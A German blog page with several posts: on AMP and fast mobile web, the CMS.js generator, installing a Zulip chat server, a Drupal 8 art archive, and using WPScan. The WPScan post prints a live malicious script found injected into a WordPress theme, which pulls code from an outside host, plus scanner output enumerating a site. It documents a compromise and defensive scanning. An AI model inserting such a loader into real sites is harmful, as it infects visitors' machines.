Kategorien
Allgemein Infrastruktur

Ein schnelles Web mit Instant Articles, der News App und Accelerated Mobile Pages?

Natürlich mag ich elegante Websites.
Natürlich betrachte ich gern gute Fotos und interessante Videos und lese gern gute Geschichten.
Ich mag auch elegante Autos, extravagante Kunst, Drei-Sterne Restaurants und sündhaft teure Modekreationen.

Den Grossteil meiner Zeit verbringe ich jedoch damit, mein Leben möglichst effektiv zu organisieren. Beim Online Einkauf mag ich einfache, logische Checkouts und verständliche Artikelbeschreibungen, Blogeinträge möchte ich einfach nur lesen und kein Brimborium drumherum haben. Wenn ich eine Website besuche, möchte ich meist ein Bedürfnis befriedigen oder ein Problem lösen, beispielsweise die Postadresse des Seitenbetreibers finden.

All das wird heutzutage unter dem Begriff User Experience subsumiert und diese Experience ist überlebenswichtig für Website Anbieter.

Was ich auf meinem Telefon nicht lesen kann, lese ich vermutlich nie.

Auch im Jahr 2016 ist schnelles mobiles Internet kein Standard. Ausser Chatten geht in vielen Gegenden Europas nichts, weil die Internet Verbindung einfach zu langsam ist. Ein Grund, warum Messaging Apps so beliebt sind.

Nun gibt es grundsätzlich immer zwei Möglichkeiten so ein Problem zu lösen.

  1. Schnelles Internet bereit stellen
  2. Die Informationen so aufbereiten, dass sie auch mit langsamer Internetverbindung aufrufbar sind.

Als Website Betreiber, der ich ja auch bin, kann ich den ersten Punkt nicht umsetzen, also bleibt mir nur die zweite Variante. Auch dort gibt es zwei Möglichkeiten:

  1. Eine „echte, aufwendige, bunte, schöne, durchgestylte“ Website und eine „abgespeckte“ mobile Variante
  2. Eine Website für alle, die sich an das Ausgabegerät anpasst (responsiv)

Die zweite Variante klingt auf jeden Fall zukunftssicherer bei der Vielfalt von mobilen Endgeräten die bereits existieren oder demnächst auf den Markt kommen. Content Management Systeme wie WordPress, Joomla und Drupal sind mittlerweile standardmässig responsiv. Unglücklicherweise steigt aber damit auch die Ladezeit einer Website, also die zu übermittelnde Datenmenge und die Anzahl der zu übertragenden Dateien an.
Beide Effekte verlangsamen den Transport und Aufbau eine Website auf einem Telefon ungemein.

Um diesen Tweet lesen zu können, werden im Browser 470,7 Kilobyte übertragen (470,700 Byte). Der relevante Text besteht bei einem Tweet aus maximal 140 Zeichen. Ein Zeichen könnte man in einem Byte darstellen, maximal in 2 Bytes. Es werden also etwa 1,650 oder 3,300 mal soviele Bytes übertragen um 140 Zeichen (in 1 oder 2 Bytes) darzustellen und das in 30 Dateien!

Datenmenge eines Tweets im Browser

Nun ist das kein spezifische Problem von Twitter sondern betrifft mehr oder weniger jede Website.

Ein paar Beispiele:

Selbst die Startseite unseres Blogs bringt es auf 247,800 Byte und 23 Dateien. Ich habe aber auch gelernt, dass wir damit im Vergleich zu anderen Websites recht niedrig liegen 🙂

Werbung

Ein immer grösser werdender Posten bei den Ladezeiten sind datenintensive Werbeformen und Tracking Scripte. Ein sehr eindruckvoller Vergleich der Ladezeiten von Werbe- und redaktionellen Inhalten hat die New York Times für die USA dargestellt (The Cost of Mobile Ads on 50 News Websites – New York Times).

The Cost of Mobile Ads on 50 News Websites - New York Times

Was tun?

Was kann der Einzelne jetzt tun, um Websites schlanker zu machen? Einen besonders konsequenten Schritt geht Felix von Leitner mit seinem Angebot Fefes Blog (Wikipedia). Er verzichtet auf alles unnötige, nutzt HTML und schafft es, alle Artikel für den Monat Februar in 19,300 Bytes darzustellen – in EINER Datei!
Auch die Ladezeit dürfte der Beliebheit seines Blogs sehr gut tun.

Fefes Blog

Jetzt kommst du und sagst:

Ja, ja, das ist Fefe mit seinem Textblog, aber ich brauche doch Photos und Videos und Slider und JavaScript Frameworks …

Was machen die Grossen?

Die Diskussion entging den „üblichen Verdächtigen“ natürlich nicht und so erfand Facebook das Produkt Instant Articles, Apple die App News und Google schliesslich Accelerated Mobile Pages.

Facebook Instant Articles

Instant Articles werden sehr schnell dargestellt, sollen Verlage zu Facebook locken und Besucher auf der eigenen Plattform halten. Die Werbeeinnahmen von Facebook werden im Verhältnis 30/70 geteilt, 70% gehen an den Content Lieferanten.

Apple News App

Apple News ist eine News App, die momentan in UK, USA und Australien angeboten wird und ähnlich wie Flipboard ein persönliches Nachrichten-Feed anbietet das schnell läd und schön aussieht.

Google Accelerated Mobile Pages

Und jetzt kommt Google und erfindet mit dem Open Source Projekt AMP das einfache Web mehr oder weniger neu.

Auf Github findet sich der Quellcode (https://github.com/ampproject) und damit möchte Google das Web „great again“ machen.

Um ein Facebook Instant Article Publisher zu werden, muss man sich bewerben.
Um in die Apple News App zu kommen, muss man sich ebenfalls bewerben.

Google dagegen kommt zu dir und sieht nach, ob du eine AMP Version deiner Website betreibst. Wenn ja, wirst du in den Suchergebnissen bevorzugt behandelt. Wenn nein … tja … dann eben nicht!

Ich will nun gar nicht über Themen wie Plattformen, Marktmacht, Verlage und Inhalte sprechen, ich finde die Angebote der grossen Drei durchaus interessant. Sie erfinden gerade etwas neu, was es eigentlich schon gibt – HTML!
Sie erfinden es aber so, dass meine Bedürfnisse von oben vermutlich perfekt erfüllt werden.

AMP und deine Website

Da Facebook Instant Articles und die Apple News App für einfache Website Betreiber zunächst noch eher uninteressant sind, will ich etwas genauer auf Googles AMP Projekt eingehen. Das AMP Prinzip entspicht der bereits oben aufgeführten Problemlösung: Eine „echte, aufwendige, bunte, schöne, durchgestylte“ Website und eine „abgespeckte“ mobile Variante“, wobei die AMP Version die mobile Variante ist. Die AMP Version deiner Seite wird dem Besucher allerdings nicht automatisch auf dem Mobilgerät angezeigt, sie wird „nur“ über sogenannte AMP consumers genutzt, beispielsweise Google Search.

  • WordPress:
    WordPress bietet ein offizielles AMP Plugin an. Es erzeugt dynamisch AMP-kompatible Versionen deiner Seiten, die über den Zusatz /amp/ am Ende des URL aufrufbar sind. Wenn du beispielsweise einen WordPress Artikel mit der dem URL http://example.com/2016/02/29/mein-artikel/ hast, dann wird die AMP Version über http://example.com/2016/02/29/mein-artikel/amp/ aufgerufen. AMP-Aufrufe von Seiten (Pages) werden momentan nicht unterstützt.
  • Joomla:
    Es lässt sich momentan (29.2.2016) nichts im Extension Directory finden, aber hinter den Kulissen schreiben viele Anbieter Plugins für AMP. Hier ein Beispiel: Weeblr – Accelerated Mobile Pages for Joomla
  • Drupal:
    Das Drupal Modul AMP ist für die Drupal 8 als Beta Version verfügbar. Damit es funktioniert, wird die PHP AMP Library benötigt und das AMP Basis Theme. Die Installation beschreibt der Artikel AMPing up Drupal sehr gut. Für Drupal 7 liegt das Modul leider noch nicht vor und so muss ich unser Blog entweder auf Drupal 8 updaten oder auf das entsprechende Modul für Drupal 7 warten.

Fazit

Ein deutliches hmmmm :).
Ich weiss noch nicht so recht, was ich davon halten soll. Grundsätzlich sind alle drei Ideen gut durchdacht. Sie dienen aber vermutlich hauptsächlich dazu, Besucher auf der jeweiligen Plattform zu halten, weil die dort angebotenen Inhalte so schön und schnell laden. Facebook und Google können dann prinzipiell mehr Werbung verkaufen, im Falle von Facebook werden die Erlöse mit dem Inhaltsanbieter geteilt.
Bei aller Schönheit und Schnelligkeit darf man nicht vergessen, dass HTML diese Funktionalität bereits heute sehr effizient bietet. Bei Websites wie Fefes Blog beispielsweise würde eine Technik wie AMP die Grösse nur unnötig aufblähen und die Ladezeiten vergrössern.


tl;dr: Das schnelle Web wird gerade jeweils von Facebook, Apple und Google neu erfunden.

Kategorien
Shared Hosting

CMS.js – Der JavaScript Site Generator

Diese dateibasierten Systeme (Seitengeneratoren) erzeugen, aus nach bestimmten Kriterien aufgebauten Dateien, eine Website. Wenn Änderungen an der Website vorgenommen werden, werden die Inhalte der Dateien geändert.

Ein sehr bekannter Seitengenerator ist das auf der Programmiersprache Ruby basierende Jekyll. Jekyll wird beim Online-Dienst GitHub seit längerer Zeit erfolgreich für die Erstellung von Websites genutzt. Der inhaltliche Schwerpunkt bei Github liegt dabei auf der Dokumentation von Softwareprojekten.

CMS.js

Ein neues „Helferlein“ ist CMS.js. Es erzeugt ebenfalls eine Website mit HTML, CSS und JavaScript aus einfachen Inhalten. Bei CMS.js ist aber kein auf dem Server installiertes PHP, Node.js, Ruby, Perl, etc erforderlich. Die Website wird im Browser des Betrachters mittels JavaScript erzeugt (gerendert, generiert).

Da Texte mit HTML Befehlen schwer schreibbar sind, erwartet CMS.js Inhalte in der vereinfachten Auszeichnungssprache Markdown. Markdown lässt sich nach einiger Zeit recht gut und flüssig schreiben. Einen Eindruck von Markdown erhältst du beispielsweise im Online Markdown Editor dillinger.io.

Die Dateien mit den Inhalten werden in Verzeichnissen mit den Namen pages oder posts gespeichert. Das pages und posts Prinzip kennst du vermutlich aus WordPress. Eine Page hat einen Link im Menü und ist etwas eher Zeitloses, beispielsweise eine About Seite. Ein Post ist dagegen ein Artikel, der mit einem Datum verknüpft und auf der Startseite in umgekehrt chronologischer Folge angezeigt wird (die neuesten Artikel oben).

Ein Inhalt in CMS.js besteht immer aus dem Kopf und dem eigentlichen Text. Im Kopf werden Parameter für das Layout übergeben (default für pages und post für posts) und die Überschrift (title). Bei einer Page ist der title die Bezeichnung des Menüeintrages. Die Parameter werden oben und untern durch — begrenzt.

---
layout: post
title: Mein erster Blogpost
---

Und hier ist mein erster Blogpost!
... weiterer Text ... 

Installation

Die Installation auf deinem Webspace ist denkbar einfach und besteht aus dem Herunterladen und Entpacken des wenigen Quellcodes. Entweder du lädst das Dateipakets auf deinen lokalen Rechner und dann per FTP auf den Webspace oder du führst auf der Kommandozeile den Befehl

git clone https://github.com/cdmedia/cms.js.git

aus. Danach musst du die Datei js/config.js entsprechend deinen Wünschen anpassen. Die Bedeutung der Parameter sind dabei gut dokumentiert.

CMS.js - js/config.js
CMS.js – js/config.js

Du kannst existierende GitHub Dateien oder deine auf dem Server gespeicherten Texte anzeigen lassen. In meinem Fall wähle ich Server aus.

    // Mode 'Github' for Github Pages, 'Server' for Self Hosted.
    mode: 'Server',

Die Verzeichnisstruktur ist sehr übersichtlich.

CMS.js - Verzeichnisstrukturen
CMS.js – Verzeichnisstrukturen

Pro Inhalt schreibst du eine neue Datei mit der Endung .md (markdown), beispielsweise about.md.
Ein Blogeintrag muss ein Datum im Dateinamen haben, damit CMS.js eine Sortierung vornehmen kann (2016-01-01_example-post.md).

Wenn die Website im Browser aufgerufen wird, wird auch die JavaScript und die CSS Datei geladen und erzeugt lokal innerhalb deines Browsers die Website.

CMS.js - Website
CMS.js – Website

Editieren

Im Gegensatz zu klassischen Content Management Systemen gibt es keine Möglichkeit über ein Administrationsinterface im Browser einen Text zu editieren. Dadurch ergeben sich natürlich Unterschiede im Workflow.

Ein grosser Vorteil bei dieser Vorgehensweise ist beispielsweise, dass die Texte unabhängig vom Layout abgespeichert und mit einem Versionskontrollsystem verwaltet werden können. Das bedeutet, dass beliebig viele Autoren an einem Text arbeiten können, wenn Sie über entsprechende Rechte im Versionskontrollsystem verfügen. Das Content Management findet dabei unabhängig von der Website in einer Art Content Pool statt!
Das Versionskontrollsystem wird dabei zu einem Teil des Content Management Systems.

Ein Editor kann völlig unabhängig vom Rest der Systeme eingesetzt werden. Das kann ein Editor wie Atom oder TextWrangler (auf dem Desktop), oder aber auch dillinger.io (im Browser) oder nano (auf der Konsole) sein.

Fazit

CMS.js ist ein Beispiel für einen verteilten Umgang bei der Erstellung und Auslieferung von Inhalten. Die eigentliche Website wird erst innerhalb des Browsers beim Besucher erzeugt.

Links


tl;dr: CMS.js ist ein minimalistischer Website Generator

Kategorien
Messenger Server

Zulip – Open Source Messaging Server

Die Mitarbeiter der Firma wollen (und sollen) online kommunizieren, aber die Firma möchte keinen Chat Service wie beispielsweise Slack nutzen, bei dem nicht klar ist, wo die Daten gespeichert werden und wer alles darauf zugreifen kann. Es sollte ein selbst gehostetes System sein, bei dem die Daten im eigenen Hause gespeichert werden.

Eine mögliche Lösung wäre ein Jabber Server (siehe auch Ein eigenes Messenger System mit Jabber/XMPP).

Eine Alternative ist die Chatanwendung Zulip.

Das Startup Zulip wurde Anfang 2014 in seiner Beta Phase vom Cloud Speicher Anbieter Dropbox gekauft. Im September 2015 wurde die Software dann von Dropbox als Open Source Projekt veröffentlicht. Zulip ist Slack sehr ähnlich und zeichnet sich unter anderem durch weitreichende Integrationsmöglichkeiten für Tools, die in der Softwareentwicklung genutzt werden, aus.

Integrationen für Zulip
Integrationen für Zulip

Ausser diesen Integrationen bietet Zulip

  • Themenspezifische Gruppenchats (Streams)
  • Die Speicherung aller Nachrichten und in einem Stream auch im Nachhinein lesbar und durchsuchbar
  • Privatchats
  • Statusanzeige: Wer ist online
  • Automatische Inline-Darstellung von in den Chat kopierten Links (Bilder, Videos, Tweets)
  • Dateiupload per Drag and Drop
  • Benachrichtigungen per @name
  • Gruppenweite Benachrichtungen per @all
  • E-Mail- und Desktop Benachrichtigungen
  • Emojis
  • Syntax Highlighting bei Code
  • Die Bearbeitung von Chat-Nachrichten
  • Gruppen, die nur per Einladung zugänglich sind
  • Die Darstellung markierter Nachrichten in einer Liste (Favoriten)
  • Mobile Apps für Android und iOS
  • Desktop Apps für Windows, OSX und Linux

Um das System nutzen zu können, muss ein eigener Zulip Server aufgesetzt werden.
Es existiert ein Installationsscript für Ubuntu 14.04 Trusty das ich auch in diesem Blogbeitrag nutze. Das Script geht davon aus, dass Zulip die einzige Anwendung auf dem Server ist. Ein eventuell bereits laufender Apache Web Server auf Port 80 sollte gestoppt werden, Zulip nutzt Nginx.

Die Servervoraussetzungen für ein kleines Team sind 2 GB Hauptspeicher, bei mehr als 50 Nutzern sollten es mindestens 4 GB oder sein. Viel Speicher ist selten eine schlechte Wahl!

Die Chats sind verschlüsselt. Letsencrypt Zertifikate können genutzt werden.

Installation

Die Installation erfolgt als root User. Logge dich auf der Konsole ein. Der Befehl

sudo -i

schaltet dauerhaft root ein.

Codepaket laden

Wechsle in das /root Verzeichnis, lade und überprüfe das Codepaket, entpacke es und verschiebe die Dateien in das /root/zulip Verzeichnis.

cd /root
wget https://www.zulip.com/dist/releases/zulip-server-1.3.10.tar.gz
echo "3d96694abc878056bb6436d24b381e1776f3f70e zulip-server-1.3.10.tar.gz" | sha1sum -c
tar -xf zulip-server-1.3.10.tar.gz
mv zulip-server-1.3.10 zulip

SSL Zertifikate

Zulip setzt HTTPS voraus. Zertifikatserzeugung mit Letsencrypt oder anderen Anbietern funktioniert „wie immer“, ist aber abhängig vom Zertifikatsanbieter.
Wenn du kein Zertifikat „zur Hand“ hast, findest du hier die Befehle für ein selbst unterschriebenes Zertifikat. Die Abhörsicherheit, verglichen mit signierten Zertifikaten, ist die Gleiche, die Browserwarnung für selbst zertifizierte Zertifikate kann in diesem Fall von deinem Team ignoriert werden.

apt-get install openssl
openssl genrsa -des3 -passout pass:x -out server.pass.key 4096
openssl rsa -passin pass:x -in server.pass.key -out zulip.key
rm server.pass.key
openssl req -new -key zulip.key -out server.csr
openssl x509 -req -days 365 -in server.csr -signkey zulip.key -out zulip.combined-chain.crt
rm server.csr
cp zulip.key /etc/ssl/private/zulip.key
cp zulip.combined-chain.crt /etc/ssl/certs/zulip.combined-chain.crt

Installationscript

Wechsle in das /root/zulip Verzeichnis und starte das Installationsscript.

cd /root/zulip
./scripts/setup/install

Die Installation kann ein paar Minuten dauern.

Konfiguration

Bevor der Server gestartet werden kann, müssen in der Datei /etc/zulip/settings.py ein paar Einstellungen getätigt werden.

/etc/zulip/settings.py
/etc/zulip/settings.py

Zulip ist standardmässig so organisiert, dass alle Nutzer aus einer Domain kommen und sich mit Ihrer E-Mail Adresse registrieren müssen. Diese Einstellungen können natürlich verändert werden, aber gerade der Standard passt hervorragend auf Firmenstrukturen.

Daher muss der Parameter ADMIN_DOMAIN mit deinem Domainnamen versehen werden und es muss mindestens ein AUTHENTICATION_BACKEND ausgewählt werden (in meinem Fall E-Mail/Paswort).

Im weiteren Verlauf der Konfigurationsdatei muss ein SMTP Server angegeben werde, damit E-Mails verschickt werden können.

EMAIL_HOST = 'mail.seafolly.ch'
EMAIL_HOST_USER = 'hagen@seafolly.ch'
EMAIL_PORT = 587
EMAIL_USE_TLS = True
DEFAULT_FROM_EMAIL = "Hagen (Zulip) <hagen@seafolly.ch>"
NOREPLY_EMAIL_ADDRESS = "noreply@seafolly.ch"

Jetzt sind die Änderungen in der /etc/zulip/settings.py erledigt. Damit der E-Mail Versand funktioniert, muss in der Datei /etc/zulip/zulip-secrets.conf noch das Passwort für den E-Mail Versand hinterlegt werden. Einfach am Ende der Datei

email_password = geheim
email_host_password = geheim

eintragen.

Datenbank initialisieren

Auf der Basis der Konfigurationsdateien kann nun die Datenbank initialisiert werden.

su zulip -c /home/zulip/deployments/current/scripts/setup/initialize-database

Damit ist die Installation beendet und der Zulip Server läuft. Für den produktiven Einsatz solltest du noch das Zulip in Production README lesen und dich in die Zulip Annoucement Mailing Liste eintragen um Nachrichten über Updates u erhalten.

Mit dem Befehl

su zulip -c /home/zulip/deployments/current/scripts/restart-server

kann der Zulip Server nach Konfigurationsänderungen neu gestartet werden.

Beim Aufruf im Browser erwartet dich folgendes Bild:

Zulip - Erster Start
Zulip – Erster Start

Registrierung

Jeder Chatteilnehmer muss sich mit einer E-Mail Adresse registrieren, deren Domain mit der in der Konfiguration definierten Domain übereinstimmt.

Zulip - Registrierung
Zulip – Registrierung

Der Server verschickt eine E-Mail an die angegebene Adresse mit einem Bestätigungslink.

Zulip - E-Mail mit Aktivierungslink
Zulip – E-Mail mit Aktivierungslink

Nack Klicken des Links wird man zur Eingabe eines Namens und des gewünschten Passworts aufgefordert:

Zulip - Kontoaktivierung
Zulip – Kontoaktivierung

Nach dem Klick auf den Register Button erfolgt eine kleine Tour die die Zusammenhänge zwischen Streams und Topics zeigt.

Zulip - Tour
Zulip – Tour

Drei Streams sind bereits vorkonfiguriert (engineering, social und zulip).
Das Einzige, was nun noch fehlt, sind deine Arbeitskollegen (It’s lonely in here! Invite some coworkers).

Zulip - Web-Oberfläche
Zulip – Web-Oberfläche

Ausser der gut funktionierenden Webversion gibt es auch native Apps für Windows, OSX, Linux, iOS und Android!

Fazit

Um es mal kurz zu machen – es läuft!

Links


tl;dr: Zulip ist eine Open Source Group Chat Anwendung mit zahlreichen Integrationsmöglichkeiten, die auf einem eigenen Server installiert wird und über zahlreiche Clients angesprochen werden kann.

Kategorien
Content Management Systeme seafolly.ch

Kunstarchiv mit Drupal 8 – Werke

Im dritten Teil des Kunstarchivs mit Drupal 8 geht es um die Werke. Jeder Benutzer soll beliebig viele Werke beschreiben können. Die einfachste Variante ist, einen neuen Inhaltstyp zu erzeugen und den Benutzern zu erlauben, Inhalte dieses Inhaltstyps zu erstellen, zu bearbeiten und zu löschen.

Neuer Inhaltstyp

Neue Inhaltstypen kannst du dir wie Tabellen vorstellen. Eine Tabelle voller Werke, jede Spalte ein Feld, jede Zeile ein Werk. Jeder Inhaltstyp hat mindestens einen Autor, einen Titel, einen Textbereich, beliebig viele Felder sowie Parameter ob beispielsweise Kommentare möglich sind oder nicht (/admin/structure/types/add).

Neuer Inhaltstyp Werke
Neuer Inhaltstyp Werke

Wie bereits bei den Profilfeldern (siehe Teil II), können auch bei Inhaltstypen Felder hinzugefügt werden. Der standardmässige Textbereich (Body) kann aus einem Inhaltstyp bei Bedarf entfernt werden, in unserem Fall passt er aber gut, denn dort kann die Beschreibung für das Werk erfolgen. Zusätzlich lege ich ein Feld Standort, ein Feld für weiterführende Links und ein Feld für Bilder an. Das Bildfeld existiert schon im Inhaltstyp Artikel und muss hier nur zugeordnet werden. Nach der Anlage ist der Inhaltstyp Werk unter /admin/structure/types/manage/werk/fields aufrufbar.

Felder im Inhaltstyp Werk
Felder im Inhaltstyp Werk

Ab jetzt können Daten eingegeben werden (/node/add/werk). Das Eingabeformular enthält die neuen Felder. Im Textbereich ist ein WYSIWYG Editor aktiv. Drupal hat unterschiedliche Textformate (einfaches HTML, eingeschränktes HTML, vollständiges HTML). Hier kann man konfigurieren, welche Benutzergruppe welche Tags und Zusatzfunktionen nutzen darf. Ich lasse alles bei den Standardeinstellungen.

Bearbeitungsformular Inhaltstyp Werk
Bearbeitungsformular Inhaltstyp Werk

Nach dem Speichern ist das Werk im „System“ und damit wird der Autor auch zum Eigentümer des Nodes. Damit das für „angemeldete Benutzer“ klappt, müssen sie die Rechte dazu erhalten. Ich setze die entsprechenden Checkboxen, damit Benutzer einen neuen Inhalt erzeugen und ihre eigenen Inhalte bearbeiten und löschen können. Jeder Inhaltstyp kann auch versioniert werden, dazu muss allerdings die entsprechende Checkbox in den Parametern des Inhaltstyps aktiviert sein.

Berechtigungen für Inhaltstyp Werk
Berechtigungen für Inhaltstyp Werk

Liste aller Werke

Wir wollen alle Werke auf einer Übersichtsseite darstellen. Dazu kannst du mit dem Ansichten (Views) Modul eine individuelle Ansicht erstellen (/admin/structure/views/add). Ich erzeuge eine neue Ansicht mit dem Namen Werke und dem Inhalt vom Typ Werk, sortiert nach Neueste zuerst. Ich hätte gern eine Seite, der Seitentitel soll Werke sein, der Pfad werke. Die Werke sollen in einer Tabelle angezeigt werden.

Neue Ansicht mit Daten des Inhaltstyps Werk
Neue Ansicht mit Daten des Inhaltstyps Werk

Nach einem Klick auf speichern und bearbeiten kommst du in die Ansichten Bearbeitungsmaske, die recht komplex daherkommt, aber keine Bange, es ist gar nicht so kompliziert :). Die Anzeige teilt sich in einen Anzeige- und einen Vorschaubereich (weiter unten). Der Anzeigebereich kann mehrere Seiten, Blöcke und auch andere Typen enthalten, momentan enthält er nur eine Seite (Page).

Ansicht bearbeiten
Ansicht bearbeiten

Wir müssen noch die Felder, die wir ausgeben wollen hinzufügen und einen Menülink definieren. Bei den Feldern ist momentan nur das Titelfeld zu sehen. Beim Hinzufügen musst du beim Bildfeld darauf achten, dass es sein kann, das mehrere Bilder pro Werk hochgeladen werden (es kommt auf die Konfiguration des Bildfeldes an). Wenn das so ist, dann solltest du in der Tabelle nur das Erste Bild einzeigen. Dafür gibt es in den Feldeinstellungen einen Bereich Multiple Field Settings.

Nur ein Bild anzeigen!
Nur ein Bild anzeigen!

Den Menulink legst du in den Seiteneinstellungen fest (Normaler Menüeintrag).

Menulink definieren
Menulink definieren

Nach dem Speichern sollte die Liste aller Werke angezeigt werden.

Liste aller Werke
Liste aller Werke

Ausser einer Tabelle kannst du auch ein Grid (Raster), eine HTML-Liste oder eine unformatierte Liste ausgeben. Durch einen Klick auf den Titel gelangt man in die Einzelansicht des Werks. Das Ansichten Modul ist die Basis für ein ganzes Universum von Zusatzmodulen. Beispielsweise könntest du, mit der entsprechenden Modul Erweiterung, mehrere Bilder als Slideshow darstellen oder ein RSS-Feed neuer Werke erstellen.

Das Projekt soll blühen, gedeihen und sich entwickeln. Du kannst gern deine Kunstwerke dort beschreiben und archivieren. Die weitere Entwicklung habe ich auf der Roadmap skizziert. Wir sind offen für weitere Ideen. Hier kannst du übrigens ein neues Benutzerkonto erstellen 🙂

Fazit

Bereits mit einer Core Drupal 8 Installation kommt man sehr weit bei der Erstellung komplexer Websites.


tl;dr: Drupal 8 besitzt bereits im Core die Möglichkeit massgeschneiderte Sichten auf Daten zu erstellen.

Kategorien
Content Management Systeme Security

WPScan, WordPress und Du

Viele von euch haben ein paar WordPress Sites. WordPress ist so ein System, mit dem eigentlich jeder einmal etwas zu tun hat oder hatte, der eine eigene Website betreibt. Auch wenn es am Ende dann doch vielleicht Typo3, Drupal, Joomla, Grav oder ein ganz anderes System wird, WordPress probiert fast jeder mal aus und ist auch meist sofort begeistert.

Ich habe mir im Laufe der letzten Jahre ebenfalls so ein paar WordPress Sites „eingetreten/angelacht“. Das Blog vom Nachbarn, die Ferienhaus Site eines Bekannten, die WordPress Installation für dieses kleine Projekt, dass dann schnell mehrsprachig wird, viele Nutzer hat aber immer noch kein Budget und natürlich auch mein eigenes Blog. Ich vermute du kennst den Effekt. WordPress ist einfach zu installieren, schön anzusehen, schnell und gut bedienbar. Die Updates und Upgrades funktionieren problemlos und sogar automatisch, wenn man es entsprechend konfiguriert.

Vor ein paar Monaten hatte ich dann plötzlich eine veränderte Datei in einer meiner WordPress Installationen. Ich lasse alle Updates automatisch machen und wurde erst aufmerksam, als mich ein Bekannter darauf hinwies, dass sein Virenscanner anspringt, wenn er diese Website aufruft.

Ich fand tatsächlich diesen Quellcode in der header.php Datei des Templates

<script>var a=“; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = „http://hosting.e-sens.co.kr/js/jquery.min.php„; var n_url = base + „?default_keyword=“ + default_keyword + „&se_referrer=“ + se_referrer + „&source=“ + host; var f_url = base + „?c_utt=snt2014&c_utm=“ + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== “ && se_referrer !== null && se_referrer !== “){document.write(‚<script type=“text/javascript“ src=“‚ + f_url + ‚“>‘ + ‚<‚ + ‚/script>‘);}</script>

Beim Aufruf der Site wird von einer anderen Site etwas geladen. Der geladene Code macht dann böse Dinge auf dem Rechner des Besuchers. Exakt das fiese Szenario, das ich bereits im Updates und Upgrades bei WordPress, Joomla und Drupal – Artikel ansprach.

Das WordPress Projekt hat eine FAQ zum Thema: Help, I think I’ve been hacked, die jeder lesen sollte, der eine WordPress Site betreibt. So eine FAQ gibt es auch für Joomla, Drupal und Typo3 und ein Hack kann bei jedem System passieren.

Nochmal ganz deutlich:

Jede Software hat Schwachstellen und jede Software muss hin und wieder mit Sicherheitsaktualisierungen auf den neuesten Stand gebracht werden.

WordPress dient hier nur als Aufhänger, weil es mich gerade selbst erwischte. Mein „Fall“ endete übrigens mit einer kompletten Neuinstallation der Site.

Was ist WPScan?

WPScan ist ein Schwachstellen Scanner für WordPress. Das Programm ist in Ruby geschrieben und existiert seit fünf Jahren. WPScan ist Open Source Software und nutzt die Daten der gleichnamigen Datenbank (WPScan Vulnerability Database) um eine WordPress Installation zu scannen. Die Datenbank enthält Informationen über Schwachstellen des WordPress Core, von Plugins und Themes. Hier als Beispiel ein Screenshot mit einer Liste von Schwachstellen von Plugins, die mit dem Buchstaben I beginnen.

WordPress Plugin Vulnerabilities
WordPress Plugin Vulnerabilities
Du kannst dich über neue Schwachstellen per E-Mail benachrichtigen lassen.

WPScan nutzen

WPScan läuft überall, wo Ruby läuft, eine genaue Anleitung für dein Betriebssystem findest du auf der Projektseite http://wpscan.org/.

Bevor WPScan genutzt wird, sollte immer die Datenbank aktualisiert werden. Dazu mußt du im Terminal in das Verzeichnis wpscan gehen

cd wpscan

die aktuelle Version von Github laden und die Datenbank aktualisieren:

git pull
ruby wpscan.rb --update

Das Ergebnis sieht so aus:

_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

WordPress Website scannen

Jetzt kann es losgehen und ich kann meine WordPress Site mit dem folgenden Befehl scannen:

ruby wpscan.rb --url https://hagen.cocoate.com

Als ich das Programm zum ersten Mal ausführte, wurde mir schon etwas mulmig bei dem Gedanken, dass das jeder zu jeder Zeit machen kann und das zahlreiche Bots das auch pausenlos tun! Hier das Ergebnis:

_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: https://hagen.cocoate.com/
[+] Started: Fri Jan 29 19:35:15 2016

[+] robots.txt available under: 'https://hagen.cocoate.com/robots.txt'
[+] Interesting entry from robots.txt: https://hagen.cocoate.com/wp-admin/admin-ajax.php
[+] Interesting header: LINK: <https://hagen.cocoate.com/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.14
[!] Registration is enabled: https://hagen.cocoate.com/wp-login.php?action=register
[+] XML-RPC Interface available under: https://hagen.cocoate.com/xmlrpc.php

[+] WordPress version 4.4.1 identified from advanced fingerprinting

[+] WordPress theme in use: twentysixteen - v1.1

[+] Name: twentysixteen - v1.1
 |  Latest version: 1.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/themes/twentysixteen/
 |  Readme: https://hagen.cocoate.com/wp-content/themes/twentysixteen/readme.txt
 |  Style URL: https://hagen.cocoate.com/wp-content/themes/twentysixteen/style.css
 |  Theme Name: Twenty Sixteen
 |  Theme URI: https://wordpress.org/themes/twentysixteen/
 |  Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthe...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 4 plugins found:

[+] Name: category-rss-widget-menu - v1.0
 |  Latest version: v1.0 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/category-rss-widget-menu/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/category-rss-widget-menu/readme.txt

[+] Name: jetpack - v3.9.1
 |  Latest version: 3.9.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/jetpack/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/jetpack/readme.txt
